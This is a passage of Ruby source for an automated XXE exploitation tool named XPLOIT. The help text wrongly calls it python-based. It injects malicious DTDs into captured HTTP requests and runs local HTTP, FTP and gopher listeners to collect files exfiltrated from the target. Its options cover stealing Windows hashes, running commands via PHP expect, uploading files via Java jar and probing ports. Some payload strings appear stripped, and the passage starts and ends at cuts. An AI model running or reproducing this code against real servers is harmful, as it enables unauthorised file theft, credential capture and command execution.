"" && hashes == "n" && upload == "" && expect == "" && enumports == "" && $xslt == "n" && $logger == "n") 148 | puts "XPLOIT by Rajesh Majumdar(@freakym0nk)" 149 | puts "" 150 | puts "XPLOIT is an python based automated XXE Exploiter tool." 151 | puts "" 152 | puts "This tool automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications." 153 | puts "" 154 | puts "Options:" 155 | puts " --host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)" 156 | puts " --file Mandatory - file containing valid HTTP request with xml. You can also mark with \"TEST\" a point where DTD should be injected. (--file=/tmp/req.txt)" 157 | puts " --path Mandatory if enumerating directories - Path to enumerate. (--path=/etc)" 158 | puts " --brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)" 159 | puts " --logger Log results only. Do not send requests. HTTP logger looks for \"p\" parameter with results." 160 | puts "" 161 | puts " --rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)" 162 | puts " --rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)" 163 | puts "" 164 | puts " --oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)" 165 | puts " --direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --xml to see how XML in request file should look like. (--direct=UNIQUEMARK)" 166 | puts " --cdata Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique." 167 | puts " --2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)" 168 | puts " --phpfilter Use PHP filter to base64 encode target file before sending." 169 | puts " --netdoc Use netdoc protocol instead of file (Java)." 170 | puts " --enumports Enumerating unfiltered ports for reverse connection. Specify value \"all\" to enumerate all TCP ports. (--enumports=21,22,80,443,445)" 171 | puts "" 172 | puts " --hashes Steals Windows hash of the user that runs an application." 173 | puts " --expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)" 174 | puts " --upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)" 175 | puts " --xslt Tests for XSLT injection." 176 | puts "" 177 | puts " --ssl Use SSL." 178 | puts " --proxy Proxy to use. (--proxy=127.0.0.1:8080)" 179 | puts " --httpport Set custom HTTP port. (--httpport=80)" 180 | puts " --ftpport Set custom FTP port. (--ftpport=21)" 181 | puts " --gopherport Set custom gopher port. (--gopherport=70)" 182 | puts " --jarport Set custom port for uploading files using jar. (--jarport=1337)" 183 | puts " --xsltport Set custom port for XSLT injection test. (--xsltport=1337)" 184 | puts "" 185 | puts " --test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server." 186 | puts " --urlencode URL encode injected DTD. This is default for URI." 187 | puts " --nodtd If you want to put DTD in request by yourself. Specify \"--dtd\" to show how DTD should look like." 188 | puts " --output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)" 189 | puts " --timeout Timeout for receiving file/directory content. (--timeout=20)" 190 | puts " --contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)" 191 | puts " --fast Skip asking what to enumerate. Prone to false-positives." 192 | puts " --verbose Show verbose messages." 193 | puts "" 194 | puts "Example usage:" 195 | puts " Enumerating /etc directory in HTTPS application:" 196 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl" 197 | puts " Enumerating /etc directory using gopher for OOB method:" 198 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher" 199 | puts " Second order exploitation:" 200 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt" 201 | puts " Bruteforcing files using HTTP out of band method and netdoc protocol:" 202 | puts " ruby #{__FILE__} --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc" 203 | puts " Enumerating using direct exploitation:" 204 | puts " ruby #{__FILE__} --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK" 205 | puts " Enumerating unfiltered ports:" 206 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --enumports=all" 207 | puts " Stealing Windows hashes:" 208 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --hashes" 209 | puts " Uploading files using Java jar:" 210 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf" 211 | puts " Executing system commands using PHP expect:" 212 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls" 213 | puts " Testing for XSLT injection:" 214 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --xslt" 215 | puts " Log requests only:" 216 | puts " ruby #{__FILE__} --logger --oob=http --output=/tmp/out.txt" 217 | puts "" 218 | exit(1) 219 | else 220 | puts "" 221 | end 222 | 223 | # EXECUTION 224 | 225 | ### Processing Request File ### 226 | 227 | # Configure basic options 228 | 229 | # set proxy 230 | if $proxy == "" 231 | $proxy = nil 232 | $proxy_port = nil 233 | end 234 | 235 | # get connection host and port 236 | if $logger == "n" 237 | z = 1 238 | loop do 239 | break if File.readlines($file)[z].chomp.empty? 240 | if File.readlines($file)[z].include?("Host: ") 241 | $remote = File.readlines($file)[z].split(" ")[1] 242 | if $remote.include?(":") 243 | $port = $remote.split(":")[1] 244 | $remote = $remote.split(":")[0] 245 | end 246 | end 247 | z = z + 1 248 | end 249 | if $port == 0 250 | if $proto == "http" 251 | $port = 80 252 | else 253 | $port = 443 254 | end 255 | end 256 | end 257 | 258 | # Configure main request 259 | def configreq() 260 | 261 | found = 0 # for detecting injected DTD 262 | 263 | # check HTTP method 264 | if File.readlines($file)[0].include?("GET ") 265 | $method = "get" 266 | end 267 | 268 | # get URI path 269 | $uri = File.readlines($file)[0].split(" ")[1] 270 | if $dtdi == "y" 271 | turi = URI.decode($uri).gsub("+", " ") 272 | if turi.include?("XPLOIT") 273 | if $direct != "" 274 | $uri = $uri.sub("XPLOIT", $rproto + ":///#{$directpath}") 275 | found = found + 1 276 | elsif $xslt == "n" 277 | $uri = $uri.sub("XPLOIT", URI.encode($dtd).gsub("%20", "+")) 278 | found = found + 1 279 | else 280 | $uri = $uri.sub("XPLOIT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 281 | found = found + 1 282 | end 283 | puts "DTD injected." if $verbose == "y" 284 | elsif turi.include?("", "?>" + URI.encode($dtd).gsub("%20", "+")) 287 | $uri = $uri.sub(/(\?%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 288 | $uri = $uri.sub(/(%3f>)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 289 | $uri = $uri.sub(/(%3f%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 290 | puts "DTD injected." if $verbose == "y" 291 | found = found + 1 292 | else 293 | if turi.match(/(\<\?xml)(.*)(&)/i) 294 | $uri = $uri.sub(/(\<\?xml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&") 295 | $uri = $uri.sub(/(%3c%3fxml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&") 296 | $uri = $uri.sub(/(%3c\?xml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&") 297 | $uri = $uri.sub(/(\<%3fxml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&") 298 | found = found + 1 299 | elsif turi.match(/(\<\?xml)(.*)/i) 300 | $uri = $uri.sub(/(\<\?xml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 301 | $uri = $uri.sub(/(%3c%3fxml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 302 | $uri = $uri.sub(/(%3c\?xml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 303 | $uri = $uri.sub(/(\<%3fxml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 304 | found = found + 1 305 | end 306 | puts "DTD injected." if $verbose == "y" 307 | end 308 | end 309 | end 310 | 311 | # get headers 312 | i = 1 313 | $headers = Hash.new 314 | loop do 315 | break if File.readlines($file)[i].chomp.empty? 316 | if !File.readlines($file)[i].include?("Host: ") 317 | header = File.readlines($file)[i].chomp 318 | if $dtdi == "y" 319 | if header.include?("XPLOIT") 320 | if $direct != "" 321 | header = header.sub("XPLOIT", $rproto + ":///#{$directpath}") 322 | found = found + 1 323 | elsif $urlencode == "y" 324 | if $xslt == "n" 325 | header = header.sub("XPLOIT", URI.encode($dtd).gsub("%20", "+").gsub(";", "%3B")) 326 | else 327 | header = header.sub("XPLOIT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D").gsub(";", "%3B")) 328 | end 329 | found = found + 1 330 | else 331 | if $xslt == "n" 332 | header = header.sub("XPLOIT", $dtd) 333 | else 334 | header = header.sub("XPLOIT", $xsl) 335 | end 336 | found = found + 1 337 | end 338 | puts "DTD injected." if $verbose == "y" 339 | end 340 | end 341 | if header.include?("Accept-Encoding") && $direct != "" 342 | else 343 | $headers[header.split(": ")[0]] = header.split(": ")[1] 344 | end 345 | end 346 | i = i + 1 347 | end 348 | 349 | # get POST body 350 | i = i + 1 351 | $post = "" 352 | postfind = 0 353 | if $method == "post" 354 | loop do 355 | break if File.readlines($file)[i].nil? 356 | postline = File.readlines($file)[i] 357 | if $dtdi == "y" 358 | tline = URI.decode(postline).gsub("+", " ") 359 | if tline.include?("XPLOIT") && $xslt == "n" 360 | if $direct != "" 361 | postline = postline.sub("XPLOIT", $rproto + ":///#{$directpath}") 362 | found = found + 1 363 | elsif $urlencode == "y" 364 | if $xslt == "n" 365 | postline = postline.sub("XPLOIT", URI.encode($dtd).gsub("%20", "+")) 366 | else 367 | postline = postline.sub("XPLOIT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 368 | end 369 | found = found + 1 370 | else 371 | if $xslt == "n" 372 | postline = postline.sub("XPLOIT", $dtd) 373 | else 374 | postline = postline.sub("XPLOIT", $xsl) 375 | end 376 | found = found + 1 377 | end 378 | puts "DTD injected." if $verbose == "y" 379 | elsif tline.include?("XPLOIT") && $xslt == "y" 380 | postfind = 1 381 | elsif tline.include?("", "?>" + URI.encode($dtd).gsub("%20", "+")) 384 | postline = postline.sub(/(\?%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 385 | postline = postline.sub(/(%3f>)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 386 | postline = postline.sub(/(%3f%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 387 | found = found + 1 388 | else 389 | postline = postline.sub("?>", "?>" + $dtd) 390 | postline = postline.sub(/(\?%3e)/i, '\1' + $dtd) 391 | postline = postline.sub(/(%3f>)/i, '\1' + $dtd) 392 | postline = postline.sub(/(%3f%3e)/i, '\1' + $dtd) 393 | found = found + 1 394 | end 395 | puts "DTD injected." if $verbose == "y" 396 | elsif tline.include?(" 1 450 | puts "Multiple instances of XML found. It may results in false-positives." 451 | end 452 | 453 | # configuring request 454 | $request = Net::HTTP.new($remote, $port, $proxy, $proxy_port) 455 | 456 | # set HTTPS 457 | if $proto == "https" 458 | $request.use_ssl = true 459 | $request.verify_mode = OpenSSL::SSL::VERIFY_NONE 460 | end 461 | end 462 | 463 | ### End of Processing Request File ### 464 | 465 | ### Configure request for 2nd order case ### 466 | if $secfile != "" 467 | 468 | # check HTTP method 469 | if File.readlines($secfile)[0].include?("GET ") 470 | $secmethod = "get" 471 | end 472 | 473 | # get URI path 474 | $securi = File.readlines($secfile)[0].split(" ")[1] 475 | 476 | # get headers 477 | y = 1 478 | $secheaders = Hash.new 479 | loop do 480 | break if File.readlines($secfile)[y].chomp.empty? 481 | if !File.readlines($secfile)[y].include?("Host: ") 482 | header = File.readlines($secfile)[y].chomp 483 | if header.include?("Accept-Encoding") 484 | else 485 | $secheaders[header.split(": ")[0]] = header.split(": ")[1] 486 | end 487 | end 488 | y = y + 1 489 | end 490 | 491 | # get POST body 492 | y = y + 1 493 | $secpost = "" 494 | if $method == "post" 495 | loop do 496 | break if File.readlines($secfile)[y].nil? 497 | postline = File.readlines($secfile)[y] 498 | $secpost += postline 499 | y = y + 1 500 | end 501 | end 502 | 503 | # configuring 2nd request 504 | $secrequest = Net::HTTP.new($remote, $port, $proxy, $proxy_port) 505 | 506 | # set HTTPS 507 | if $proto == "https" 508 | $secrequest.use_ssl = true 509 | $secrequest.verify_mode = OpenSSL::SSL::VERIFY_NONE 510 | end 511 | end 512 | 513 | ### End of Processing 2nd Request File ### 514 | 515 | # Sending request 516 | def sendreq() 517 | 518 | if $test == true 519 | puts "URL:" 520 | if $proto == "http" 521 | puts "http://#{$remote}:#{$port}#{$uri}" 522 | else 523 | puts "https://#{$remote}:#{$port}#{$uri}" 524 | end 525 | puts "\nHeaders:" 526 | puts $headers 527 | if $method == "post" 528 | puts "\nPOST body:" 529 | puts $post 530 | end 531 | exit(1) 532 | end 533 | 534 | if $verbose == "y" 535 | puts "Sending request with malicious XML:" 536 | if $proto == "http" 537 | puts "http://#{$remote}:#{$port}#{$uri}" 538 | puts $headers 539 | puts "\n" 540 | puts $post 541 | puts "\n" 542 | else 543 | puts "https://#{$remote}:#{$port}#{$uri}" 544 | puts $headers 545 | puts "\n" 546 | puts $post 547 | puts "\n" 548 | end 549 | else 550 | puts "Sending request with malicious XML." 551 | end 552 | 553 | $response = "" 554 | $request.start { |r| 555 | begin 556 | status = Timeout::timeout($time) { 557 | if $method == "post" 558 | $response = r.post($uri, $post, $headers) 559 | else 560 | $response = r.get($uri, $headers) 561 | end 562 | } 563 | rescue Timeout::Error 564 | end 565 | } 566 | end 567 | 568 | # Sending second request 569 | def send2ndreq() 570 | 571 | if $verbose == "y" 572 | puts "Sending second request:" 573 | if $proto == "http" 574 | puts "http://#{$remote}:#{$port}#{$securi}" 575 | puts $secheaders 576 | puts "\n" 577 | puts $secpost 578 | puts "\n" 579 | else 580 | puts "https://#{$remote}:#{$port}#{$securi}" 581 | puts $secheaders 582 | puts "\n" 583 | puts $secpost 584 | puts "\n" 585 | end 586 | else 587 | puts "Sending second request." 588 | end 589 | 590 | $response = "" 591 | $secrequest.start { |r| 592 | begin 593 | status = Timeout::timeout($time) { 594 | if $method == "post" 595 | $response = r.post($securi, $secpost, $secheaders) 596 | else 597 | $response = r.get($securi, $secheaders) 598 | end 599 | } 600 | rescue Timeout::Error 601 | end 602 | } 603 | end 604 | 605 | # logging to separate file or output file if in bruteforce mode 606 | def log(param) 607 | if $brute == "" 608 | logpath = "#{$path}" 609 | if $direct == "" 610 | if $tmppath != "" && logpath[-1] != "/" 611 | logpath += "/" 612 | end 613 | logpath += "#{$tmppath}" 614 | else 615 | if $nextpath != "" && logpath[-1] != "/" 616 | logpath += "/" 617 | end 618 | logpath += "#{$nextpath}" 619 | end 620 | logpath = logpath.gsub('\\','/') 621 | logpath[0] = "" if logpath[0] == "/" 622 | logpath[-1] = "" if logpath[-1] == "/" 623 | if $tmppath != "" 624 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath.split("/")[0..-2].join('/') 625 | else 626 | if logpath.include?("/") 627 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath.split("/")[0..-2].join('/') 628 | else 629 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath 630 | end 631 | end 632 | if $done == 0 633 | if $cut == 1 634 | puts "Successfully logged file: /#{logpath}" 635 | else 636 | if logpath[-1] == ":" 637 | puts "Successfully logged file: #{logpath}/" 638 | else 639 | puts "Successfully logged file: #{logpath}" 640 | end 641 | end 642 | $done = 1 643 | end 644 | if logpath == "" 645 | log = File.open("Logs/" + $remote + "/" + "rootdir.log", "a") 646 | else 647 | log = File.open("Logs/" + $remote + "/" + "#{logpath}.log", "a") 648 | end 649 | log.write param 650 | log.close 651 | else 652 | log = File.open($output, "a") 653 | log.write param 654 | puts "Next results:\n#{param}\n" if $logger == "y" || $verbose == "y" 655 | print "> " if $logger == "y" 656 | log.close 657 | end 658 | end 659 | 660 | # pushing enumerated items to an array 661 | def pusharr(param) 662 | if $brute == "" 663 | param = param.chomp 664 | if param.match $regex 665 | if $direct == "" 666 | logp = $tmppath 667 | if $tmppath != "" 668 | logp += "/" 669 | end 670 | else 671 | logp = $nextpath 672 | if $nextpath != "" 673 | logp += "/" 674 | end 675 | end 676 | logp += param 677 | $filenames.push(logp) 678 | puts "Path pushed to array: #{logp}" if $verbose == "y" 679 | end 680 | end 681 | end 682 | 683 | # initial changes 684 | # set longer timeout for direct exploitation 685 | if $direct != "" 686 | $time = 30 687 | end 688 | 689 | # Remove first slash if unix-like path specified 690 | $cut = 0 691 | if $path[0] == "/" 692 | $path[0] = '' 693 | $cut = 1 694 | end 695 | 696 | # Remove slash at the end if not Windows drive 697 | if $path[-1] == "/" && $path[-2] != ":" 698 | $path[-1] = '' 699 | end 700 | 701 | # Add some changes to Windows path 702 | if $cut == 0 703 | $path += '/' if $path[-1] == ":" 704 | $path = $path.gsub("\\", "/") 705 | end 706 | 707 | # configure payloads 708 | # DTD to inject 709 | $dtd = "%remote;%int;%trick;]>" 710 | # XSL to inject 711 | $xsl = "" 712 | 713 | # Starting servers 714 | begin 715 | if ($xslt == "n" && enumports == "" && $logger == "n") || ($logger == "y" && enum == "http") || ($direct != "" && cdata == "y") 716 | http = TCPServer.new http_port 717 | end 718 | if enum == "ftp" && $xslt == "n" && enumports == "" && $direct == "" 719 | ftp = TCPServer.new ftp_port 720 | end 721 | if enum == "gopher" && $xslt == "n" && enumports == "" && $direct == "" 722 | gopher = TCPServer.new gopher_port 723 | end 724 | if upload != "" 725 | jar = TCPServer.new jar_port 726 | end 727 | if $xslt == "y" 728 | xsltserv = TCPServer.new xslt_port 729 | end 730 | rescue Errno::EADDRINUSE 731 | puts "Specified TCP ports already in use." 732 | exit(1) 733 | end 734 | 735 | # HTTP for XML serving and data retrival 736 | Thread.start do 737 | loop do 738 | Thread.start(http.accept) do |client| 739 | $done = 0 740 | $tmppath = $nextpath 741 | loop { 742 | 743 | params = {} 744 | req = client.gets() 745 | break if req.nil? 746 | 747 | # HTTP XML serving 748 | if req.include? "file.dtd" 749 | 750 | puts "Got request for XML:\n#{req}\n" if $verbose == "y" 751 | 752 | if hashes == "n" && upload == "" && expect == "" 753 | if $cut == 1 754 | puts "Responding with XML for: /#{enumpath}" 755 | else 756 | puts "Responding with XML for: #{enumpath}" 757 | end 758 | else 759 | puts "Responding with proper XML." 760 | end 761 | 762 | # respond with proper XML 763 | if cdata == "y" 764 | payload = "" 765 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 766 | elsif hashes == "y" 767 | payload = "\r\n\">" 768 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 769 | elsif upload != "" 770 | payload = "\r\n\">" 771 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 772 | elsif expect != "" 773 | if enum == "ftp" 774 | if phpfilter == "n" 775 | payload = "\r\n\">" 776 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 777 | else 778 | payload = "\r\n\">" 779 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 780 | end 781 | elsif enum == "http" 782 | if phpfilter == "n" 783 | payload = "\r\n\">" 784 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 785 | else 786 | payload = "\r\n\">" 787 | client.print("HTTP/1.1 200 OK\r\nContent-Type: application/xml\r\nContent-Length: #{payload.bytesize}\r\nConnection: close\r\n\r\n#{payload}") 788 | end 789 | end 790 | elsif enum == "ftp" && expect == "" 791 | if phpfilter == "n" 792 | payload = "\r\n\">" 793 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 794 | else 795 | payload = "\r\n\">" 796 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 797 | end 798 | elsif enum == "http" && expect == "" 799 | if phpfilter == "n" 800 | payload = "\r\n\">" 801 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 802 | else 803 | payload = "\r\n\">" 804 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 805 | end 806 | elsif enum == "gopher" && expect == "" 807 | payload = "\r\n\">" 808 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 809 | end 810 | puts "XML payload sent:\n#{payload}\n\n" if $verbose == "y" 811 | 812 | end 813 | 814 | # HTTP data retrival 815 | if req.include? "?p=" 816 | 817 | switch = 0 818 | puts "Response with file/directory content received:\n" + req + "\nEnumeration unlocked." if $verbose == "y" 819 | 820 | # retrieve p parameter value and respond 821 | req = req.sub("GET /?p=", "").split(" ")[0] 822 | client.print("HTTP/1.1 200 OK\r\nContent-Length: 6\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\nThanks") 823 | 824 | # base64 decode if parameter was encoded 825 | if phpfilter == "y" 826 | req = Base64.decode64(req) 827 | end 828 | 829 | # if PHP expect then print and exit 830 | if expect != "" 831 | puts "Result of \"#{expect}\" command:\n" + req 832 | exit(1) 833 | end 834 | 835 | # set proper splitter 836 | splitter = "%0A" 837 | splitter = "\n" if phpfilter == "y" 838 | 839 | req.split(splitter).each do |param| 840 | 841 | param = URI.decode(param) 842 | 843 | # logging to file 844 | log(param + "\n") 845 | 846 | # push to array if directory listing is detected for further enumeration 847 | pusharr(param) 848 | end 849 | end 850 | client.close 851 | } 852 | end 853 | end 854 | end 855 | 856 | # FTP server to read files/directory listings and log to files 857 | if enum == "ftp" 858 | Thread.start do 859 | loop do 860 | Thread.start(ftp.accept) do |client| 861 | $done = 0 862 | switch = 0 863 | puts "Response with file/directory content received. Enumeration unlocked." if $verbose == "y" 864 | $tmppath = $nextpath 865 | client.puts("220 XPLOIT Welcomes!") 866 | begin 867 | status = Timeout::timeout($contimeout) { 868 | loop { 869 | req = client.gets() 870 | break if req.nil? 871 | 872 | # respond with proper option 873 | if req.include? "LIST" 874 | client.puts("drwxrwxrwx 1 xxe xxe 1 Jan 01 01:01 xxe") 875 | client.puts("150 Opening BINARY mode data connection for /xxe") 876 | client.puts("226 Transfer complete") 877 | end 878 | if req.include? "USER" 879 | client.puts("331 password required") 880 | end 881 | if req.include? "PORT" 882 | client.puts("200 PORT command OK") 883 | else 884 | client.puts("230 Now you can send data") 885 | end 886 | 887 | # truncate requests to proper format and base64 decode if encoded 888 | if req.include? "RETR " 889 | req = req.split(' ')[1..-1].join(' ') 890 | req += "\n" 891 | end 892 | 893 | if phpfilter == "y" 894 | req = Base64.decode64(req) 895 | end 896 | 897 | # if PHP expect then print and exit 898 | if expect != "" 899 | puts "Result of \"#{expect}\" command:\n" + req 900 | exit(1) 901 | end 902 | 903 | # logging to file 904 | log(req) 905 | 906 | # clear requests that are known to be not part of directory listing 907 | req = req.chomp 908 | if req.include?("CWD ") || req.match(/^USER /) || req.match(/^PASS /) || req == "TYPE I" || req.include?("EPSV") || req == "TYPE A" || req == "LIST" 909 | req = "" 910 | end 911 | 912 | # push to array if directory listing is detected for further enumeration 913 | pusharr(req) 914 | 915 | } 916 | } 917 | rescue Timeout::Error 918 | end 919 | client.close 920 | end 921 | end 922 | end 923 | end 924 | 925 | # gopher server to read files/directory listings and log to files 926 | if enum == "gopher" 927 | Thread.start do 928 | loop do 929 | Thread.start(gopher.accept) do |client| 930 | $done = 0 931 | switch = 0 932 | puts "Response with file/directory content received. Enumeration unlocked." if $verbose == "y" 933 | $tmppath = $nextpath 934 | begin 935 | status = Timeout::timeout($contimeout) { 936 | loop { 937 | req = "" 938 | loop do 939 | tmp = client.gets() 940 | break if tmp.chomp == "" 941 | req += tmp 942 | end 943 | 944 | req.sub! 'gopher=', '' 945 | req.split("\n").each do |param| 946 | 947 | # logging to file 948 | log(param + "\n") 949 | 950 | # push to array if directory listing is detected for further enumeration 951 | pusharr(param) 952 | end 953 | 954 | } 955 | } 956 | rescue Timeout::Error 957 | end 958 | client.close 959 | end 960 | end 961 | end 962 | end 963 | 964 | # logger 965 | if $logger == "y" 966 | puts "You can now make requests." 967 | puts "Enter \"exit\" to quit." 968 | loop do 969 | cmp = Readline.readline("> ", true) 970 | exit(1) if cmp.chomp == "exit" 971 | end 972 | end 973 | 974 | # unfiltered ports enumeration 975 | if enumports != "" 976 | ports = "" 977 | 978 | # enumerating all ports 979 | if enumports == "all" 980 | j = 1 981 | while j <= 65535 do 982 | $dtd = "%remote;]>" 983 | begin 984 | Thread.start do 985 | loop do 986 | enum = TCPServer.new j 987 | Thread.start(enum.accept) do |client| 988 | ports += String(j) + "," 989 | client.close 990 | break 991 | end 992 | end 993 | end 994 | configreq() 995 | sendreq() 996 | send2ndreq() if $secfile != "" 997 | j = j + 1 998 | rescue Errno::EADDRINUSE 999 | puts "Cannot bind to #{j} port." 1000 | end 1001 | end 1002 | 1003 | # enumerating only specified ports 1004 | else 1005 | tports = enumports.split(",") 1006 | tports.each do |tcpport| 1007 | $dtd = "%remote;]>" 1008 | begin 1009 | Thread.start do 1010 | loop do 1011 | enum = TCPServer.new tcpport 1012 | Thread.start(enum.accept) do |client| 1013 | ports += String(tcpport) + "," 1014 | client.close 1015 | break 1016 | end 1017 | end 1018 | end 1019 | configreq() 1020 | sendreq() 1021 | send2ndreq() if $secfile != "" 1022 | rescue Errno::EADDRINUSE 1023 | puts "Cannot bind to #{tcpport} port." 1024 | end 1025 | end 1026 | end 1027 | if ports != "" 1028 | puts "Unfiltered ports: " + ports[0..-2] 1029 | else 1030 | puts "No unfiltered ports were identified." 1031 | end 1032 | exit(1) 1033 | else 1034 | if $direct == "" 1035 | configreq() 1036 | end 1037 | end 1038 | 1039 | # TCP server for uploading files using Java jar 1040 | if upload != "" 1041 | Thread.start do 1042 | loop do 1043 | Thread.start(jar.accept) do |client| 1044 | content = IO.binread(upload) 1045 | count = 0 1046 | puts "File uploaded. Check temp directory on remote host for jar_cache*.tmp file. This file is available until connection is closed." 1047 | loop do 1048 | if count == 0 1049 | client.puts(content) 1050 | count = 1 1051 | end 1052 | sleep(10000) 1053 | end 1054 | end 1055 | end 1056 | end 1057 | sendreq() 1058 | loop do 1059 | sleep(10000) 1060 | end 1061 | end 1062 | 1063 | # TCP server for XSLT injection test 1064 | if $xslt == "y" 1065 | test = 0 1066 | Thread.start do 1067 | loop do 1068 | Thread.start(xsltserv.accept) do |client| 1069 | puts "XSLT injection is working!" 1070 | client.close 1071 | exit(1) 1072 | end 1073 | end 1074 | end 1075 | sendreq() 1076 | send2ndreq() if $secfile != "" 1077 | sleep timeout 1078 | puts "XSLT is not working." 1079 | exit(1) 1080 | end 1081 | 1082 | # Retriving Windows hashes 1083 | if hashes == "y" 1084 | puts "Start msfconsole with auxiliary/server/capture/smb. Press enter when started." 1085 | Readline.readline("> ", true) 1086 | sendreq() 1087 | send2ndreq() if $secfile != "" 1088 | sleep(10) 1089 | puts "Check msfconsole for hashes." 1090 | Readline.readline("> ", true) 1091 | exit(1) 1092 | end 1093 | 1094 | # Sending first request 1095 | if $brute == "" 1096 | if $direct == "" 1097 | enumpath = $path 1098 | switch = 1 1099 | puts "Enumeration locked." if $verbose == "y" 1100 | sendreq() 1101 | send2ndreq() if $secfile != "" 1102 | else 1103 | $done = 0 1104 | $directpath = $path 1105 | configreq() 1106 | sendreq() 1107 | send2ndreq() if $secfile != "" 1108 | if !$response.body.include?("#{$direct}") 1109 | puts "Response does not contain unique mark." 1110 | exit(1) 1111 | else 1112 | if $response.body.include?("#{$direct}#{$direct}") 1113 | puts "File/directory could not be retrieved." 1114 | exit(1) 1115 | else 1116 | $response.body[/(#{$direct})(.*)(#{$direct})/m].gsub("#{$direct}", "\n").split("\n").each do |param| 1117 | 1118 | # log to separate file 1119 | log(param + "\n") 1120 | 1121 | # push to array if directory listing is detected for further enumeration 1122 | param = param.chomp 1123 | if param.match $regex 1124 | $filenames.push(param) 1125 | puts "Path pushed to array: #{param}" if $verbose == "y" 1126 | end 1127 | 1128 | end 1129 | end 1130 | end 1131 | end 1132 | 1133 | # Loop that checks if response with next file content was received by FTP/HTTP server 1134 | if $direct == "" 1135 | loop do 1136 | sleep timeout 1137 | if switch == 1 && hashes == "n" && upload == "" 1138 | puts "FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? 